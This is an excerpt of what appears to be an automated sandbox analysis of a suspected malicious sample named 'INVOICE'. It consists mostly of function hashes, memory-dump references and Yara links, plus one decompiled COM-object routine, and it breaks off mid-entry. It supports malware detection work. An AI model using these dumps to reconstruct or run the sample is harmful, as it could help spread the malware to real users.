Opcode ID: 4f2369e12369d967340c93a25483d7379ed3d70b13095eeee5add43e5bad36c8
Instruction ID: 1e8b4a8e6b1ab4ab613f3ec9a9b167390220130f867fac4284cb6a49dc1fa0c0
Opcode Fuzzy Hash: 4f2369e12369d967340c93a25483d7379ed3d70b13095eeee5add43e5bad36c8
Instruction Fuzzy Hash: DCA11F7534835A8FDB309E788DE43DA77A2EF66360F95426ACC8A8F145D770458ACA01

Uniqueness

Uniqueness Score: -1.00%

Function 02B57746 Relevance: 2.8, Strings: 2, Instructions: 283COMMON

Download Yara Rule

Strings

.6z$, xrefs: 02B57B99
,Op, xrefs: 02B57A8F

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID: ,Op$.6z$
API String ID: 0-4282286893
Opcode ID: 0b29e78c7fc9dc72bc3c9d05dce9895300a7fec45fb1416d0727b343fc643418
Instruction ID: d7ecc8722f557d4ab705e0b9bb44c7c718b88a210ac3530020e62c38e6b5e6f9
Opcode Fuzzy Hash: 0b29e78c7fc9dc72bc3c9d05dce9895300a7fec45fb1416d0727b343fc643418
Instruction Fuzzy Hash: FFA1227530835A8FDF349E78CDA83DA77A2EF56360F95426ACC8ACF245D731458ACA01

Uniqueness

Uniqueness Score: -1.00%

Function 02B57AA9 Relevance: 2.8, Strings: 2, Instructions: 278COMMON

Download Yara Rule

Strings

.6z$, xrefs: 02B57B99
,Op, xrefs: 02B57A8F

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID: ,Op$.6z$
API String ID: 0-4282286893
Opcode ID: 0c61d88182dc205c2d034a996f717b0b5827e045459173a92806213944b151b7
Instruction ID: d5921b03b8fffb22a6a908ab3b1caa07c972cc70120c8b05141397c35469aa6a
Opcode Fuzzy Hash: 0c61d88182dc205c2d034a996f717b0b5827e045459173a92806213944b151b7
Instruction Fuzzy Hash: BFA1107530835ACFDB309E788DE43EA77A2EF66360F95426ACC8ACF145D770458ACA01

Uniqueness

Uniqueness Score: -1.00%

Function 02B579E7 Relevance: 2.8, Strings: 2, Instructions: 278COMMON

Download Yara Rule

Strings

.6z$, xrefs: 02B57B99
,Op, xrefs: 02B57A8F

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID: ,Op$.6z$
API String ID: 0-4282286893
Opcode ID: b7bd3df13332c88fb3d0afcd77be3c0dc2b32274d89646160c2300580d381d5a
Instruction ID: a917db7578ed32e2aee8ccca9753942828ac6dd9bdc98fa12eb22572b29ff028
Opcode Fuzzy Hash: b7bd3df13332c88fb3d0afcd77be3c0dc2b32274d89646160c2300580d381d5a
Instruction Fuzzy Hash: 1FA1327530835ACFDB309E788DE43EA77A2EF66350F95426ACC8ACF145D770458ACA01

Uniqueness

Uniqueness Score: -1.00%

Function 02B577B7 Relevance: 2.8, Strings: 2, Instructions: 271COMMON

Download Yara Rule

Strings

.6z$, xrefs: 02B57B99
,Op, xrefs: 02B57A8F

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID: ,Op$.6z$
API String ID: 0-4282286893
Opcode ID: b3486439896cb9a9d0014d3415801b215131c2c296d47afe735bef2b3bb9e7b5
Instruction ID: e09d3eb1128641e8f7bbbf346c0341b7cfc67494fd9288b3f92f1f3115a1fdab
Opcode Fuzzy Hash: b3486439896cb9a9d0014d3415801b215131c2c296d47afe735bef2b3bb9e7b5
Instruction Fuzzy Hash: E6A1237530839A8FDF319E78CDA83DA77A2EF56360F95426ACC8ACB145C731458ACA01

Uniqueness

Uniqueness Score: -1.00%

Function 02B5797F Relevance: 2.8, Strings: 2, Instructions: 253libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,-8122140A,02B52BAB), ref: 02B655EC

Strings

.6z$, xrefs: 02B57B99
,Op, xrefs: 02B57A8F

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: ,Op$.6z$
API String ID: 1029625771-4282286893
Opcode ID: bcd425a9e654c6d787ef025357d2d752a030727cca2d1c839e61e0e96990f009
Instruction ID: 4cbef061f4698556ef79fd6471e87cf6b069075e27f1a07c833aade4d1b3ce80
Opcode Fuzzy Hash: bcd425a9e654c6d787ef025357d2d752a030727cca2d1c839e61e0e96990f009
Instruction Fuzzy Hash: 1391237530835A8FDF309E388DA83DA77A2EF66350FD5426ACC8ACB645D771458ACA01

Uniqueness

Uniqueness Score: -1.00%

Function 004021AA Relevance: 1.6, APIs: 1, Instructions: 129
comCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E004021AA(void* __eflags) {
				signed int _t52;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr* _t91;
				signed int _t101;
				signed int _t105;
				void* _t107;

				 *((intOrPtr*)(_t107 - 0x10)) = E00402DA6(0xfffffff0);
				 *((intOrPtr*)(_t107 - 0x44)) = E00402DA6(0xffffffdf);
				 *((intOrPtr*)(_t107 - 8)) = E00402DA6(2);
				 *((intOrPtr*)(_t107 - 0x4c)) = E00402DA6(0xffffffcd);
				 *((intOrPtr*)(_t107 - 0xc)) = E00402DA6(0x45);
				_t52 =  *(_t107 - 0x20);
				 *(_t107 - 0x50) = _t52 & 0x00000fff;
				_t101 = _t52 & 0x00008000;
				_t105 = _t52 >> 0x0000000c & 0x00000007;
				 *(_t107 - 0x40) = _t52 >> 0x00000010 & 0x0000ffff;
				if(E00405E83( *((intOrPtr*)(_t107 - 0x44))) == 0) {
					E00402DA6(0x21);
				}
				_t56 = _t107 + 8;
				__imp__CoCreateInstance(0x4085f0, _t83, 1, 0x4085e0, _t56);
				if(_t56 < _t83) {
					L14:
					 *((intOrPtr*)(_t107 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t60 =  *((intOrPtr*)(_t107 + 8));
					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x408600, _t107 - 0x38);
					 *((intOrPtr*)(_t107 - 0x18)) = _t61;
					if(_t61 >= _t83) {
						_t64 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x44)));
						if(_t101 == _t83) {
							_t80 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t80 + 0x24))(_t80, 0x441000);
						}
						if(_t105 != _t83) {
							_t78 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
						}
						_t66 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x40));
						_t91 =  *((intOrPtr*)(_t107 - 0x4c));
						if( *_t91 != _t83) {
							_t76 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x50));
						}
						_t68 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
						_t70 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
						if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
							_t74 =  *((intOrPtr*)(_t107 - 0x38));
							 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x10)), 1);
						}
						_t72 =  *((intOrPtr*)(_t107 - 0x38));
						 *((intOrPtr*)( *_t72 + 8))(_t72);
					}
					_t62 =  *((intOrPtr*)(_t107 + 8));
					 *((intOrPtr*)( *_t62 + 8))(_t62);
					if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
						_push(0xfffffff4);
					} else {
						goto L14;
					}
				}
				E00401423();
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t107 - 4));
				return 0;
			}

0x004021b3
0x004021bd
0x004021c7
0x004021d1
0x004021dc
0x004021df
0x004021f9
0x004021fc
0x00402202
0x00402205
0x0040220f
0x00402213
0x00402213
0x00402218
0x00402229
0x00402231
0x004022e8
0x004022e8
0x004022ef
0x00402237
0x00402237
0x00402246
0x0040224a
0x0040224d
0x00402253
0x00402261
0x00402264
0x00402266
0x00402271
0x00402271
0x00402276
0x00402278
0x0040227f
0x0040227f
0x00402282
0x0040228b
0x0040228e
0x00402294
0x00402296
0x004022a0
0x004022a0
0x004022a3
0x004022ac
0x004022af
0x004022b8
0x004022be
0x004022c0
0x004022ce
0x004022ce
0x004022d1
0x004022d7
0x004022d7
0x004022da
0x004022e0
0x004022e6
0x004022fb
0x00000000
0x00000000
0x00000000
0x004022e6
0x004022f1
0x00402c2d
0x00402c39

APIs

CoCreateInstance.OLE32(004085F0,?,00000001,004085E0,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402229

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: c4fc3fa67b876c583326420a1baafc892d445f4eb77b454d3c92970a980d6818
Instruction ID: 5977cb51530078b600b156af0050786de557c4b464dd586e6a5beaa7a0440451
Opcode Fuzzy Hash: c4fc3fa67b876c583326420a1baafc892d445f4eb77b454d3c92970a980d6818
Instruction Fuzzy Hash: A7411571A00208EFCF40DFE4C989E9D7BB5BF49348B20456AF905EB2D1DB799981CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02B58336 Relevance: 1.5, Strings: 1, Instructions: 298COMMON

Download Yara Rule

Strings

C{[^, xrefs: 02B58504

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID: C{[^
API String ID: 0-635262738
Opcode ID: 548c0e14a0e3ace03c10870d536bf1d3d94bce5765239b80b7b166182f376c0e
Instruction ID: 255c5f5df58e34babe66b4ab56e609e01474cb1e8f3c05c452c3aa4c461ab6d4
Opcode Fuzzy Hash: 548c0e14a0e3ace03c10870d536bf1d3d94bce5765239b80b7b166182f376c0e
Instruction Fuzzy Hash: 31A17D7224836ADBDB309E74D5C23DE7BE5EF326A0F1911AACCD58F096E36085878705

Uniqueness

Uniqueness Score: -1.00%

Function 02B66A31 Relevance: 1.4, Strings: 1, Instructions: 171libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,-8122140A,02B52BAB), ref: 02B655EC

Strings

PHWu, xrefs: 02B66C14

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: PHWu
API String ID: 1029625771-1096106726
Opcode ID: c0fe7db09c228d5d1d2a292a66f79a11bebf7e38a3e122403b6c362588477aaa
Instruction ID: 5e6c7d3a8fe25dc2a5a3b4ac5998eec27d65c63088b458798b179f96da88aafb
Opcode Fuzzy Hash: c0fe7db09c228d5d1d2a292a66f79a11bebf7e38a3e122403b6c362588477aaa
Instruction Fuzzy Hash: 2F513631A0434ADBDB389E6889B93FA37B6EF45350F85016ECC8B9B640D3385985CB42

Uniqueness

Uniqueness Score: -1.00%

Function 02B5000D Relevance: .8, Instructions: 753COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d302cd39f904d74c2d06730eae2fe3b1ed0eb9d63c518878402d4dd64bb7511
Instruction ID: ced127b9d5e158a9405131b390430befc3570de8ed4391d0aefb1af8c4fdf6c8
Opcode Fuzzy Hash: 5d302cd39f904d74c2d06730eae2fe3b1ed0eb9d63c518878402d4dd64bb7511
Instruction Fuzzy Hash: 0E129B43E3F7359BE7833070C5517A65680CF2B6C6D21CF9B9C26795A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B500DC Relevance: .7, Instructions: 744COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bc44e66f3a6c8b1edc053d8166a4f24e87556ffdb54e59c5133c357226ad96f
Instruction ID: 5e5b036c8778f0d661905cc20ce4c5154153dbbeccbb28a896a1db44acbb2163
Opcode Fuzzy Hash: 7bc44e66f3a6c8b1edc053d8166a4f24e87556ffdb54e59c5133c357226ad96f
Instruction Fuzzy Hash: DC029B43E3F7359BE7833074C5517A55680CF2B6C6D21CF9B9C2A795A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B5015F Relevance: .7, Instructions: 733COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd0b82056e8ee69ecfea65f5b140bac9d052131d0674224e5a13570c239a64d5
Instruction ID: 3212a6e608cc220e2d7562f7a8837cb1abafac66e624e851ffa3f49b2ecd074d
Opcode Fuzzy Hash: dd0b82056e8ee69ecfea65f5b140bac9d052131d0674224e5a13570c239a64d5
Instruction Fuzzy Hash: C9029B43E3F7359AE7833070C5517A55680CF2B6C6D21CF9B9C2AB95A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50001 Relevance: .7, Instructions: 731COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbccb18d17c157b60852127de6d2303255ebae10fe0828c153a69c63b084c1da
Instruction ID: 4a1e69aeaa41bdba3f59c4ae18c71f4f3c910adbd389604a505401c8f7dff516
Opcode Fuzzy Hash: bbccb18d17c157b60852127de6d2303255ebae10fe0828c153a69c63b084c1da
Instruction Fuzzy Hash: 0112AB43E3F7359BE783307085517A55680CF2B6C6D21CF9B9C2A7A5A2771B0A8E88D4

Uniqueness

Uniqueness Score: -1.00%

Function 02B5020E Relevance: .7, Instructions: 728COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 408cd3cb3bb45aa4362ec5056ef1f50db15cf88adc71d553c947c15437a18176
Instruction ID: 0b5b55ddb79adfd7fbee4fce506a84c7f5b7b6c77740deabbbb209434fa5bf82
Opcode Fuzzy Hash: 408cd3cb3bb45aa4362ec5056ef1f50db15cf88adc71d553c947c15437a18176
Instruction Fuzzy Hash: C8029B43E3F735DAE7833074C5517A65680CF2B6C6D21CF9B9C267A5A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50116 Relevance: .7, Instructions: 726COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b06e9269a5a52f909bc96dd079535a72b83ff27ccc9e6d622d656fae8886fe4d
Instruction ID: 248438cdffaec51a0464e020cb6a32c509e76c88688d6a99cc1e13e2789fdee1
Opcode Fuzzy Hash: b06e9269a5a52f909bc96dd079535a72b83ff27ccc9e6d622d656fae8886fe4d
Instruction Fuzzy Hash: 8A029B43E3F7359BE7833074C5517A55680CF2B6C6D21CF9B9C2A7A5A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50197 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1673ca6982c0a2ba9e28efe1b562e97a44354adf7f4cc87f39ce9be3012e2607
Instruction ID: 81a4cb162cd6e950de924bc1de9ee4414822ff74df71ffeb95f80fe1a509aaab
Opcode Fuzzy Hash: 1673ca6982c0a2ba9e28efe1b562e97a44354adf7f4cc87f39ce9be3012e2607
Instruction Fuzzy Hash: 6202AB43E3F7359AE7833074C5517A55680CF2B6C6D21CF9B9C2A7A5A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B500C2 Relevance: .7, Instructions: 713COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 005cdcab506a2a660bd83e7fe6fc228f62a3c99bc66e928c83bba000b9b05899
Instruction ID: f017d2efeec26f7881811ca527ffb80cfee9f0d3bffe735d1d52a323ef8ee7a2
Opcode Fuzzy Hash: 005cdcab506a2a660bd83e7fe6fc228f62a3c99bc66e928c83bba000b9b05899
Instruction Fuzzy Hash: 73029B43E3F7359BE783307485517A55680CF2B6C6D21CF9B9C2A795A2771F0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50262 Relevance: .7, Instructions: 675COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a091fd4db15792c5a34ec718a803448a88dc202adad19762c510c5700e9ab335
Instruction ID: e37dc72aa8dfab192930672eabe4f7b58b2a19b6c7ca17412f134486ce3312c0
Opcode Fuzzy Hash: a091fd4db15792c5a34ec718a803448a88dc202adad19762c510c5700e9ab335
Instruction Fuzzy Hash: 6C02AC43E3F735DAE7833074C5517A65680CF2B6C6D21CF9B9C26795A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B5035E Relevance: .7, Instructions: 655COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88be620a35afb5d532166991ef40af20b24b1fa34629905dd1a467ef474eadb3
Instruction ID: 00df4832fad5661dae29a4b3e2896ac633445a87192df7072a8e2c33e62cf474
Opcode Fuzzy Hash: 88be620a35afb5d532166991ef40af20b24b1fa34629905dd1a467ef474eadb3
Instruction Fuzzy Hash: CEF1BE43E3F735DAE7833074C5517A65680CF2B6C6D21CF9B9C26795A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B5068C Relevance: .6, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8250076104bbf10643363a8b45240597adffd972d408b8bcabbd5ca8f05fb06
Instruction ID: 815a64e451ec31a74128fbbf951298ffa04147f072df963bdfc90aaa9a0bda3f
Opcode Fuzzy Hash: a8250076104bbf10643363a8b45240597adffd972d408b8bcabbd5ca8f05fb06
Instruction Fuzzy Hash: 7902E146D2B7358AD64335B6C8113AD26C0CF2B2F5F51CF968D767A4F1BB0A09CE8891

Uniqueness

Uniqueness Score: -1.00%

Function 02B503CE Relevance: .6, Instructions: 643COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e93dba7adc96f317cad9d846760a82aadc35eabde95a3335c4b179709738cfdb
Instruction ID: 371781ec7cff70fba69b31809e9a96817acafa9ae7538c35de779c81d0b8504b
Opcode Fuzzy Hash: e93dba7adc96f317cad9d846760a82aadc35eabde95a3335c4b179709738cfdb
Instruction Fuzzy Hash: 87F1AC43E3F735DAE783307485517A55680CF2B6C6D21CF9B9C267A5A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50480 Relevance: .6, Instructions: 640COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95294311e2b093c4e0bb9048b1c4e2e539f7722eac6bb2e8762d96a61d5017e9
Instruction ID: ca88e3c727f841ca347a4a8e0f1fa87d14acf4712f890d3bfdae0a47eb859bb1
Opcode Fuzzy Hash: 95294311e2b093c4e0bb9048b1c4e2e539f7722eac6bb2e8762d96a61d5017e9
Instruction Fuzzy Hash: FFF19C43E3F735DAE783307485517E65680CF2B6C6D21CF9B9C267A5A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50400 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7afefde58441a118c8b4b5f1d6d2f89a7faa3e8a9b4b15bbab918997b315ac58
Instruction ID: cf1f26f6520bfe5fd7b1832743228f2055090b7b01ca703221b9c5472e79476b
Opcode Fuzzy Hash: 7afefde58441a118c8b4b5f1d6d2f89a7faa3e8a9b4b15bbab918997b315ac58
Instruction Fuzzy Hash: 48F1AE43E3F735DAE7833074C5517A55680CF2B6C6D22CF9B9C267A5A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B5043C Relevance: .6, Instructions: 619COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a49a0f5690b13ae554e75ef67a7ea2fc0411075928e11b7d07f10d09bfea5b3f
Instruction ID: 9858dd16116db52f75ce31ee08d7d1900f0eccaa66c7c53c610a94ccdc3fd683
Opcode Fuzzy Hash: a49a0f5690b13ae554e75ef67a7ea2fc0411075928e11b7d07f10d09bfea5b3f
Instruction Fuzzy Hash: 9BF1BD43E3F735DAE783307485517E55680CF2B6C6D21CF9B9C267A5A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50569 Relevance: .6, Instructions: 606COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c362c3d21176647b6f19119612c45edbe1a1f481d676a2c7b62d833e5d6dc2a2
Instruction ID: 6a3e26e4f2992a47ee3b9a8ffee2adca7536d801f6d79463d1e9e64ebd195e05
Opcode Fuzzy Hash: c362c3d21176647b6f19119612c45edbe1a1f481d676a2c7b62d833e5d6dc2a2
Instruction Fuzzy Hash: 1BE1BD43E3F735DAE783307485517E65680CF2B6C6D21CF9B9C267A5A1771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50611 Relevance: .6, Instructions: 604COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f4af4ab603e60a9aa450735e5a200e4bf2c75377385713bea4ca4ed807dcf8d
Instruction ID: e70f734b226a536536c9ada3650735604e74710ac77c4c652d924e6abc3ad13d
Opcode Fuzzy Hash: 7f4af4ab603e60a9aa450735e5a200e4bf2c75377385713bea4ca4ed807dcf8d
Instruction Fuzzy Hash: D1E1DD43E3F735DAE783307485517E65680CF2B6C6D21CF9B9C267A5A1771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B504BE Relevance: .6, Instructions: 602COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70908433e080eebd4ad6b92a9010ed191013e3017101d2f713708f57af6b5655
Instruction ID: 2ef2575767c9c087a550e39f252ffce879ea4d27bde3cbceb942312f427da0ba
Opcode Fuzzy Hash: 70908433e080eebd4ad6b92a9010ed191013e3017101d2f713708f57af6b5655
Instruction Fuzzy Hash: 99F1BC43E3F735DAE783307485517E65680CF2B6C6D21CF9B9C267A5A2771B0A8E88C4

Uniqueness

Uniqueness Score: -1.00%

Function 02B50520 Relevance: .6, Instructions: 593COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ff5e803eaf909c7d6465aaa9d7d2a5319146e44fd303f73213b72e1a08222fa
Instruction ID: 18195da50148db098375041ec93194a089ba36bcd170efb2900097a156514db4
